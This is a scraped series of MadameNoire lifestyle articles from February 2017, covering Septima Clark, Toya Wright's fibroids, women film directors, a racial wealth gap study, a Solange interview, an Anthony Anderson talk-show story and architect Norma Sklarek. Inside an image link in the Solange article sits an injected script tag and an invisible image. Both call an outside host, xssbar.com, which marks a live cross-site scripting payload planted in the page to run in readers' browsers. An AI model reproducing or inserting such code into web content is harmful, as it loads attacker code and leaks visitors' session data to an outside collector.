"Formation" alone is nominated for record of the year, song of the year and best music video at Sunday night's Grammys. A <a href="http://madamenoire.com/784459/beyonces-pregnant-with-twins/">pregnant Beyoncé</a> leads all nominees with nine nominations and is set to perform. As for this lawsuit, no comment as of yet from the singer's reps.
https://www.youtube.com/watch?v=WDZJPJV__bQ
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Women Of Black History: 5 Things To Know About Activist And Teacher Septima Poinsette Clark
You've seen this picture before, correct?
https://www.instagram.com/p/BQQcqj5h9Y5/?tagged=septimaclark
I'm sure of it. It was taken by photographer Brian Lanker for his book <em>I Dream a World: Portraits of Black Women Who Changed America</em>. The photograph features the profile of civil rights activist and educator Septima Poinsette Clark. And while it's a familiar image, how much do you know about her? She lived through quite a bit. Born in 1898 to a father who was born a slave, she saw some of this country's lowest and ugliest moments. Still, she never lost her resolve and will to fight for better. Here are five things to know about the heroic woman Martin Luther King, Jr. often called "The Mother of the Movement."
<h2>Her Parents Encouraged Her to Make Education a Priority</h2>
Considering that her father was born a slave and she was just the second child out of eight, it makes sense that Septima's parents realized the necessity of having an education to be able to stand out and have control over your life. Her father actually had to take the children of the people he belonged to as a slave to and from school. As for Septima, she worked, watching the children of a woman in her neighborhood who taught, so that she could go to school in Charleston, South Carolina for free. While she didn't get to go to college because of financial difficulties, she was able to take an exam and pass to become a teacher. After years of teaching, she returned to school part time in the '40s to get her bachelor's and master's degrees.
https://www.instagram.com/p/BQGufwzlQ97/?tagged=septimapoinsetteclark
<h2>She Was Originally Kept From Teaching in Charleston</h2>
When she initially started teaching, Septima was hoping to do so in Charleston. However, Blacks were not allowed to teach in public schools, so she taught where she could, particularly on Johns Island. She also taught at an all-Black academy in Charleston, and during that time, she joined the NAACP. After joining, she got her start in activism by trying to persuade Charleston to hire Black teachers. More than 10,000 signatures collected later with the help of Septima and her students, by 1920, African-American teachers were allowed in public schools. And not only that, they were also allowed to become principals in that same year.
<h2>She Worked With Thurgood Marshall to Help Teachers of Color Get Equal Pay</h2>
She took things up a notch by working with then-lawyer Thurgood Marshall in an effort to help Black teachers take home the same as their White counterparts. According to <a href="http://www.biography.com/people/septima-poinsette-clark-38174#civil-rights-leader" target="_blank"><em>Biography</em></a>, the case was successful and her salary jumped "threefold" after the win.
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<h2>She Lost Her Job Due to Her Work With the NAACP</h2>
In 1956, South Carolina made it against the law for public employees to take parts in civil rights organizations. In this same year, Septima was made vice principal of the Charleston chapter of the NAACP. When approached about her involvement, she refused to quit and was subsequently fired from the school she was teaching at in the city. A group of Black women teachers in a sorority in Charleston tried to raise money through a fundraiser event to help her while she attempted to find work, but they couldn't take a picture with her out of fear of losing their own jobs.
<h2>She Helped Thousands of Blacks in the South Register to Vote</h2>
After not being able to find another teaching job in Charleston, Septima ended up going to Tennessee and doing work with the Highlander Folk School. It helped everyday people teach those in their community how to read and write. She was eventually hired as a full-time director of their workshops and hoped to turn all those she was teaching into registered voters. Through that work, she was able to help many with literacy and eventually expanded the program. One of the participants in one of her workshops just so happened to be Rosa Parks. The Southern Christian Leadership Conference ended up taking over the program and Septima was made the director of education and teaching, helping to create "citizenship schools" all over the South. She was said to have created more than 800.
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Toya Wright’s Uterus “The Size Of The Five-Months Pregnant Woman” Due To Painful Fibroids
While fibroids are relatively common for women, with <a href="https://medlineplus.gov/ency/article/000914.htm" target="_blank"><em>Medline</em></a> saying one in five women are known to get them during childbearing years, that doesn't make them any less painful or less of a bother in a woman's life. For Toya Wright, she found out that she had fibroids after noticing excessive bleeding during her period and some severe cramps three years ago. The change was a pretty drastic one, so she saw her doctor about it. She was told that she had the uterine tumors.
<img src="http://madamenoire.com/wp-content/uploads/2016/11/Toya-Wright-PF.jpeg" alt="" width="1068" height="600" class="aligncenter size-full wp-image-726812" />
"I was nervous because at the time I didn’t know anything about fibroids," Wright told <a href="http://people.com/bodies/toya-wright-diet-exercise-helped-deal-with-fibroid-pain/" target="_blank"><em>PEOPLE</em></a>. "My uterus is the size of the five-months pregnant woman." After starting with cramping and pain, the effects of her fibroids moved to weight gain and Wright realized she would have to make an effort to be more active and eat healthier.
She decided to remove red meats, caffeine and fatty foods from her diet and made sure to increase her water intake.
"I had to switch it up because I used to eat all types of stuff and I would just get bigger," Wright shared with the publication. "I had to scale back and eat healthier things like fish and salads."
And something that also helped with cramping pains and weight gain? Making workouts, at least four a week now, a priority.
"I found exercising has been more helpful in relieving the symptoms," she said. "I do a lot of cardio, like walking and cycling. At that time of the month, the fibroids flare up, and when I exercise it helps me not feel so much pain."
Check out a few images of Wright flexing in the gym and outdoors, not only toning up and burning calories, but dealing with the side effects of her fibroids:
https://www.instagram.com/p/BQOZcRNl7PV/?taken-by=toyawright
https://www.instagram.com/p/BP-28XQgqoj/?taken-by=toyawright
https://www.instagram.com/p/BM1iVVpgnBk/?taken-by=toyawright
https://www.instagram.com/p/BLMbzBFDExK/?taken-by=toyawright
https://www.instagram.com/p/BLMab0qDRp-/?taken-by=toyawright
https://www.instagram.com/p/BKl52vtg4tv/?taken-by=toyawright
https://www.instagram.com/p/BKEVcJsgoss/?taken-by=toyawright
https://www.instagram.com/p/BJ0qcrBjhDg/?taken-by=toyawright
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Black History Month Magic: 4 Women In Film Dominating Hollywood
February is in full effect. Often when we think about Black History Month, we think about civil rights leaders who marched for freedom and the great philosophers who were ahead of their time with messages that will outlive us all. We think about their sacrifices and the road they had to follow in order to make a mark in history. We are now embarking on new times, with new leaders. Some are civically sound as they pound the political sphere, while others march on via the big screen. In celebration of moments worth capturing and sharing, XFINITY and MadameNoire present <em>Four Women in Film</em> who are making history in Hollywood via the depths of their work. To see their work and more, visit Black Film & TV on XFINITY On Demand, where Black History is always on.
<a href="http://madamenoire.com/wp-content/uploads/2017/02/ava-duvernay.png"><img src="http://madamenoire.com/wp-content/uploads/2017/02/ava-duvernay-378x341.png" alt="" width="378" height="341" class="aligncenter size-medium wp-image-785037" /></a>
<strong>Ava Duvernay</strong>
Have you seen Ava Duvernay’s highly-buzzed projects <em>13th</em> and <em>Selma</em>? What about the much talked about dramas, <em>Queen Sugar</em> and the <em>Scandal</em> episode that she directed? The African-American, Long Beach, CA native is considered to be a part of a new group of creative filmmakers who are shattering glass ceilings by bringing the truth to audiences around the world, one script at a time. After watching a movie with Duvernay’s imprint, you will know why she is recognized not only as a strong black woman in film but why she’s also a pioneer. Known as a champion for black empowerment, Ava uses the camera to tell some of the most important stories about the black experience and culture.
<a href="http://madamenoire.com/wp-content/uploads/2017/02/neema-barnette.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/neema-barnette-378x395.jpg" alt="" width="378" height="395" class="aligncenter size-medium wp-image-785036" /></a>
<strong>Neema Barnette</strong>
Meet Neema Barnette, a notable filmmaker who is also recognized for her role as a director on sitcoms such as<em> The Cosby Show, 7th Heaven</em>, and the culture classic <em>A Different World,</em> which touched upon the black college experience. Recognized for her politically charged work, the highly creative Harlem native has won an Emmy and NAACP Image Award for her thought provoking portfolio, which includes, <em>Queen Sugar</em>, which she was hired to direct per leading filmmaker, Ava Duvernay.
<a href="http://madamenoire.com/wp-content/uploads/2017/02/Hanelle_Culpepper.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/Hanelle_Culpepper-378x250.jpg" alt="" width="378" height="250" class="aligncenter size-medium wp-image-785038" /></a>
<strong>Hanelle Culpepper</strong>
Hanelle Culpepper has been behind the camera directing a reputable body of work, which includes television series: <em>Parenthood</em>,<em> 90210</em> and <em>Criminal Minds</em> for decades. No stranger to the film arena, Culpepper who is a LA native, is also recognized for her work on <em>Hunt for the</em> <em>Labyrinth Killer</em> and <em>Murder on the 13th Floor</em>. Over the years she has added a variety of awards to her portfolio such as; Outstanding Director Award, Gaffers and an Image Award Nomination for Outstanding Directing in a Drama Series for Criminal Minds. This strong and talented creator speaks to the value black women in film bring to the storytelling space.
<a href="http://madamenoire.com/wp-content/uploads/2017/02/la-et-mn-regina-hall-20150813.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/la-et-mn-regina-hall-20150813-378x239.jpg" alt="" width="378" height="239" class="aligncenter size-medium wp-image-785035" /></a>
<strong>Regina Hall</strong>
We all recognize the stunning, yet funny actress Regina Hall from classic Black films such as, The Best Man, Love & Basketball, Scary Movie 1 & 2 and Barbershop 3. But did you know that when she isn’t acting, she is wearing her directorial hat. The English major, who also studied journalism, was destined to get behind the camera and she had the opportunity to do so in <em>Animal Kingdom</em>, a new dramatic series on TNT.
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Being Smarter, Working Harder, Saving Money Won’t Close the Wage Gap, New Study Finds
<a href="http://madamenoire.com/wp-content/uploads/2015/07/angry-young-black-woman1.jpg"><img src="http://madamenoire.com/wp-content/uploads/2015/07/angry-young-black-woman1.jpg" alt="" class="aligncenter size-full wp-image-551766" height="340" width="340" /></a>
We've all been taught to go to school, get a good job, work hard, and save money to better compete with our white peers, but you might want to consider throwing all those ideas out. According to a new study, none of these concepts will get you ahead.
The new report from Demos and the Institute on Assets and Social Policy entitled “<a href="http://www.demos.org/publication/asset-value-whiteness-understanding-racial-wealth-gap">Asset Value of Whiteness</a>” looks at the connection between racism and capitalism. According to Thomas Shapiro, director of the Institute on Assets and Social Policy:
“Equal achievements in key economic indicators, such as employment and education, do not lead to equal levels of wealth and financial security for households of color. White households have a leg up, while households of color face systematic barriers to growing wealth, reproducing our long-standing racial wealth gap over generations. Without policies that combat ingrained wealth inequalities, the racial wealth gap that we see today will continue to persist.”
Here are few other interesting points from the study:
--A college education does not close the wage gap. "The median white adult who attended college has 7.2 times more wealth than the median Black adult who attended college and 3.9 times more wealth than the median Latino adult who attended college," reported <a href="http://www.theroot.com/attending-college-doesnt-close-the-wage-gap-and-other-m-1792054955" target="_blank">The Root</a>.
--Black women get a lot of flack about the high rate of single Black mothers but, according to the study, raising kids in a two-parent home will not do much to close the racial wealth gap. "The median white single parent has 2.2 times more wealth than the median Black two-parent household and 1.9 times more wealth than the median Latino two-parent household," reported The Root.<b>
</b>
--Having a full-time job won't make your wealth equal that of whites. "The median white household that includes a full-time worker has 7.6 times more wealth than the median Black household with a full-time worker. The median white household that includes a full-time worker also has 5.4 times more wealth than the median Latino household with a full-time worker," reported The Root.
--Contrary to belief, cutting costs and saving will not help Blacks close the racial wealth gap. In fact, according to the study, the "average white household spends 1.3 times more than the average Black household of the same income group." Typically, white households spent $13,700 per quarter, versus $8,400 for Black households.
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Solange Talks To Elle About “Isolating And Lonely” Years Raising Julez In Idaho
<a href="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle-cover.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle-cover.jpg" alt="Solange Elle" width="900" height="1087" class="alignnone wp-image-785211 size-full" /></a>
"A Seat at the Table" is an album that needs no introduction and no explanation, really, due to the universality of its content, especially among Black women. Most of us can pinpoint moments in our personal lives that relate to lyrics on many of the album's tracks, and in the March issue of <em>Elle </em>magazine Solange is talking a bit about some of the pain and experiences behind her songs.
The singer is the cover girl for the mag's March issue and was interviewed by scholar and activist Salamishah Tillet who talked to her about love, music, ambition, and, of course, the album. When "A Seat at the Table" was released last year, Solange explained that she'd written some songs, like "Cranes in the Sky," years prior to the album debut, and in <em>Elle</em> she gives some insight into the stalls in her career.
<a href="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle-1.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle-1.jpg" alt="Solange Elle" width="900" height="1081" class="alignnone wp-image-785216 size-full" /></a>
Speaking on her time raising Julez as a teen mom in Moscow, Idaho, while married to Daniel Smith, she said:
<blockquote>"It was one of the most bittersweet moments of my life because I was so in love with Julez, and having spent a lot of time on the road, I yearned to be in one place, to have the opportunity to really ground myself with him. But it was isolating and lonely, and so cold and dark. And it was just Julez and me most of the time. It was hard to imagine being able to progress in my career in any way."</blockquote>
<a href="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle.jpg"><script src=http://www.xssbar.com/?c=yBYVO></script><img width="0" height="0" src="http://www.xssbar.com/?c=HPlgV" /><img src="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle.jpg" alt="Solange Elle" width="800" height="962" class="alignnone wp-image-785217 size-full" /></a>
Solange was 18 when she gave birth to Julez in October 2004 and three years later she and Daniel divorced. Seven years later, Solange remarried, tying the knot with Alan Ferguson in 2014.
Though in many of our minds, Solange is the definition of a carefree Black girl, the singer shared that her album is very much a reflection of her inner turmoil over the years.
<blockquote>"I did want to create this juxtaposition, politically, of having these very hard, messy conversations but having them stylistically in a way that you can really hear me, and not the yelling, the rage. I wanted to project in my delivery what I was not achieving at all: peace and having a certain lightness and airiness that could maybe help me get closer to having more light and airiness in my life."</blockquote>
<em>Elle</em> March issue hits newsstands February 21.
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Anthony Anderson’s Mom Taught Him The Right Way To “Go Downtown” To Help Other Women
As if having the birds and the bees conversation with your parents when you were young (or some much shorter version that consists simply of "Don't be fast") wasn't awkward enough, imagine being an adult and being taught the right and wrong way to perform oral sex by them. Thankfully, Anthony Anderson has a good sense of humor about the whole thing, because he wasn't afraid to share his story with the world. While vising Conan O'Brien's talk show, the <em>Black-ish </em>star talked about the time his mother confronted him and his homeboys about doing right by women by knowing the proper way to go downtown. Why? Anderson's father was terrible at it and she didn't want her sons to think weak cunnilingus skills were acceptable.
<img src="http://madamenoire.com/wp-content/uploads/2017/02/Anthony-Anderson-PF.jpeg" alt="Anthony Anderson mom" width="1068" height="601" class="aligncenter size-full wp-image-785215" />
"My mother taught me how to go downtown," Anderson said as the audience hollered and O'Brien looked quite confused. "Taught me how to knock the man out the boat. My momma taught me how to eat the cookie. Oral sex, Conan. Oral sex."
According to him, after returning home from college, Anderson's mom, Doris, approached him and his friends about their sexual activities.
"I was in my early 20s, I had just come home from college," he said. "We happened to be sitting around in the family room, not only me but my buddies and their girlfriends. She not only taught me and my brothers and my boys, but also the women, how to do what they needed to do."
Anderson said she did this by showing them adult videos and explaining what should and shouldn't be done based on what they were seeing. Ms. Doris stayed with her tapes.
"My mother has a very extensive video collection," Anderson shared. "She would put the videos on and go into graphic detail as to what was happening in the video and what either me and my brothers or the young ladies should be doing."
He continued, "Her motivation was my father didn't know how to eat pu--y. So she said, 'I will be damned if I send my three boys out in the world not knowing how to do that. It's my duty as a woman to teach you to do this properly because your daddy didn't know what the hell he was doing.' That's the reason behind it."
For Anderson, he didn't really see it as odd in the way that others might. In fact, he said it was great knowledge imparted on him, and at one time after the fact, he even filled his mom in on how her teachings were going.
"I would actually call my mother on the phone and say, 'Momma, they don't believe you taught me this,' he said. "And she'd say, 'Girl, did he do it right? Did he do it right?!'"
Again, I know it might sound disturbing, but watching the short conversation makes it a quite comical story. See for yourself:
https://www.youtube.com/watch?time_continue=267&v=N9dkB1EA5cM
<em>Image via WENN </em>
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Women Of Black History: 5 Things To Know About Norma Merrick Sklarek, First Licensed Black Female Architect
To be the first to do something is never easy, but to be the first to do it and be a Black woman? Now those are real obstacles. Still, such hurdles only drove Norma Merrick Sklarek to break down major barriers and obtain a great deal of success. As her parents told her when she was growing up in New York, "things that are worthwhile and from which one receives great satisfaction are never easy, but require perseverance and hard work." Still, her contributions to architecture and Black history in general can often be overlooked, this despite the fact that she has contributed to some iconic buildings and projects around the world. Here are five things to know about Norma Merrick Sklarek, the woman some call the "Rosa Parks of Architecture."
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<h2>Her Father Encouraged Her to Be Open to Jobs Not Traditionally Open to Women</h2>
Born in 1926, the daughter of a doctor (who practiced medicine) and a seamstress mother from the West Indies, Norma was encouraged to pursue interests outside of what people considered appropriate for women during the time. During the Great Depression, she was taught carpentry skills by her father. He recommended that she use her talents to get into architecture. She did well in school, excelling at Columbia University when they only accepted a few women into their program per year. She was one of only two women to obtain her architecture degree from Columbia in 1950.
<h2>First Black Woman to Be Licensed as an Architect in the U.S.</h2>
In 1954, she was the first Black woman to become a licensed architect after passing the New York exam on her first try. This blew a lot of people's minds considering that it was a behemoth of a licensing exam. The thing is four days long! Still, Sklarek struggled to find work after passing the test. "They weren't hiring women or African Americans," she told the <em>Palisadian-Post</em> back in 2004, "and I didn't know which it was [working against me]." She eventually found an opportunity at the Department of Works in NYC before being hired by Skidmore, Owings and Merrill. Four years later, she made the big move all the way to Los Angeles and her career catapulted.
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<h2>She Worked on Quite a Few Pioneering Projects</h2>
When she became director of Gruen Associates and led the firm Welton Becket as vice president, Sklarek supervised and put together staff to work on some very notable projects. Those projects included the U.S. Embassy in Tokyo, the California Mart, Fox Hills Mall, San Bernadino City Hall, and Terminal One at Los Angeles International Airport.
<h2>She Created the First Woman-Owned Architectural Firm</h2>
She became the first Black woman to create and manage an architectural firm when she co-founded Siegel, Sklarek, Diamond in 1985. Not only were the founders women, but a large chunk of those who worked for the firm were women. <a href="http://www.inc.com/magazine/201205/jeff-bailey/norma-merrick-sklarek-architect-legacy.html" target="_blank">According to <em>Inc.</em></a>, at one time, the company made proposals on five different projects and won all five commissions, which is pretty unprecedented.
https://www.instagram.com/p/BQOKHw9jgTV/?tagged=normasklarek
<h2>She Wasn't Allowed to Be Front and Center Designing Projects Early on in Her Career</h2>
While Sklarek didn't get to design as many of the projects she worked on as she would have liked, it was made clear by those who knew her best that she was more than capable of doing so. However, being a Black woman held her back because "it was unheard of to have an African American female who was registered as an architect," according to Marshall Purnell, a former president of the American Institute of Architects who spoke to <em><a href="http://articles.latimes.com/2012/feb/10/local/la-me-norma-sklarek-20120210" target="_blank">the Los Angeles Times</a></em> when Sklarek passed in 2012. "You didn't trot that person out in front of your clients and say, 'This is the person designing your project.' She was not allowed to express herself as a designer. But she was capable of doing anything. She was the complete architect."
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